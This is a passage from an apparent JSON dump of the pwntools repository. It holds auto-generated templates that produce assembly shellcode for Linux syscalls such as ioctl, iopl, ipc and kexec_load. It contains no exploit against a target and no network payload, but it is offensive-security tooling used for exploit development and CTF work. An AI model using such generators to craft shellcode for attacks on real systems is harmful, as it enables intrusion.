${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ioctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ioctl(fd, request, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ioctl.\n\nSee 'man 2 ioctl' for more information.\n\nArguments:\n    fd(int): fd\n    request(unsigned): request\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, request=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'request', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [fd, request, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ioctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ioctl'])\n%>\n    /* ioctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ioperm.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ioperm(from_, num, turn_on) -> str\n\nInvokes the syscall ioperm.\n\nSee 'man 2 ioperm' for more information.\n\nArguments:\n    from_(unsigned): from\n    num(unsigned): num\n    turn_on(int): turn_on\nReturns:\n    int\n</%docstring>\n<%page args=\"from_=0, num=0, turn_on=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['from', 'num', 'turn_on']\n    argument_values = [from_, num, turn_on]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ioperm']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ioperm'])\n%>\n    /* ioperm(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/iopl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>iopl(level) -> str\n\nInvokes the syscall iopl.\n\nSee 'man 2 iopl' for more information.\n\nArguments:\n    level(int): level\nReturns:\n    int\n</%docstring>\n<%page args=\"level=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['level']\n    argument_values = [level]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_iopl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_iopl'])\n%>\n    /* iopl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ioprio_get.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ioprio_get(which, who) -> str\n\nInvokes the syscall ioprio_get.\n\nSee 'man 2 ioprio_get' for more information.\n\nArguments:\n    which(int): which\n    who(int): who\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, who=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'who']\n    argument_values = [which, who]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ioprio_get']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ioprio_get'])\n%>\n    /* ioprio_get(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ioprio_set.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ioprio_set(which, who, ioprio) -> str\n\nInvokes the syscall ioprio_set.\n\nSee 'man 2 ioprio_set' for more information.\n\nArguments:\n    which(int): which\n    who(int): who\n    ioprio(int): ioprio\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, who=0, ioprio=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'who', 'ioprio']\n    argument_values = [which, who, ioprio]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ioprio_set']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ioprio_set'])\n%>\n    /* ioprio_set(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ipc.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ipc(call, first, second, third, ptr, fifth) -> str\n\nInvokes the syscall ipc.\n\nSee 'man 2 ipc' for more information.\n\nArguments:\n    call(unsigned): call\n    first(int): first\n    second(int): second\n    third(int): third\n    ptr(void*): ptr\n    fifth(long): fifth\nReturns:\n    int\n</%docstring>\n<%page args=\"call=0, first=0, second=0, third=0, ptr=0, fifth=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['ptr']\n    can_pushstr_array = []\n\n    argument_names = ['call', 'first', 'second', 'third', 'ptr', 'fifth']\n    argument_values = [call, first, second, third, ptr, fifth]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ipc']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ipc'])\n%>\n    /* ipc(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/kcmp.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>kcmp(pid1, pid2, type, idx1, idx2) -> str\n\nInvokes the syscall kcmp.\n\nSee 'man 2 kcmp' for more information.\n\nArguments:\n    pid1(pid_t): pid1\n    pid2(pid_t): pid2\n    type(int): type\n    idx1(unsigned): idx1\n    idx2(unsigned): idx2\nReturns:\n    int\n</%docstring>\n<%page args=\"pid1=0, pid2=0, type=0, idx1=0, idx2=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid1', 'pid2', 'type', 'idx1', 'idx2']\n    argument_values = [pid1, pid2, type, idx1, idx2]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_kcmp']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_kcmp'])\n%>\n    /* kcmp(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/kexec_file_load.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>kexec_file_load(kernel_fd, initrd_fd, cmdline_len, cmdline, flags) -> str\n\nInvokes the syscall kexec_file_load.\n\nSee 'man 2 kexec_file_load' for more information.\n\nArguments:\n    kernel_fd(int): kernel_fd\n    initrd_fd(int): initrd_fd\n    cmdline_len(unsigned): cmdline_len\n    cmdline(char*): cmdline\n    flags(unsigned): flags\nReturns:\n    long\n</%docstring>\n<%page args=\"kernel_fd=0, initrd_fd=0, cmdline_len=0, cmdline=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['cmdline']\n    can_pushstr_array = []\n\n    argument_names = ['kernel_fd', 'initrd_fd', 'cmdline_len', 'cmdline', 'flags']\n    argument_values = [kernel_fd, initrd_fd, cmdline_len, cmdline, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_kexec_file_load']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_kexec_file_load'])\n%>\n    /* kexec_file_load(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/kexec_load.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>kexec_load(entry, nr_segments, segments, flags) -> str\n\nInvokes the syscall kexec_load.\n\nSee 'man 2 kexec_load' for more information.\n\nArguments:\n    entry(unsigned): entry\n    nr_segments(unsigned): nr_segments\n    segments(kexec_segment*): segments\n    flags(unsigned): flags\nReturns:\n    long\n</%docstring>\n<%page args=\"entry=0, nr_segments=0, segments=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['entry', 'nr_segments', 'segments', 'flags']\n    argument_values = [entry, nr_segments, segments, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_kexec_load']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_kexec_load'])\n%>\n    /* kexec_load(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    